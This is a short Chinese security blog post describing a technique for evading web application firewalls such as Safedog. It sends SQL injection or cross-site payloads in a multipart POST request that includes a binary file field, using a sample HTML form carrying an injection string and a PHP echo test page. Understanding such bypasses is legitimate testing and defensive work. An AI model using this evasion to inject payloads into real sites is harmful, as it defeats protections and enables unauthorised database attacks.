轻松绕各种WAF的POST注入、跨站防御(比如安全狗)

分类:安全 | 2014-04-1 | 撸过 232 次
2人扯谈

    XXX之前有提过multipart请求绕过各种WAF方式:360网站宝/安全宝/加速乐及其他类似产品防护绕过缺陷之一,貌似没引起多少人关注。今天发现安全狗变聪明了以前那套他不吃了,不过随手给狗提交了一个二进制的文件域就XXOO了。注意一定要是二进制文件,图片、压缩包什么的都行。

构建如下HTML表单:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>yzmm - p2j.cn</title>
</head>
<body>
<form action="http://webshell.cc/index.php" method="POST" enctype="multipart/form-data">
File:<input type="file" name="file" /><br/>
ID:<input type="text" name="id" value="select 1 from mysql.user--" style="width:250px;" / ><br/>
<input type="submit" value="提交" />
</form>
</body>
</html>

index.php:

 

<?php
echo "POST-ID:".$_POST['id']."<br/>GET-ID:".$_GET['id'];
?>

提交带二进制文件的请求:

成功绕过。

 

 

本站内容均为原创,转载请务必保留署名与链接!
轻松绕各种WAF的POST注入、跨站防御(比如安全狗):https://www.webshell.cc/4464.html

随机日志

  1. 您好,我做的毕设就是跨站脚本入侵防御,那就是说waf只能防御部分跨站攻击?希望和您长期电邮联络,如打扰,多有抱歉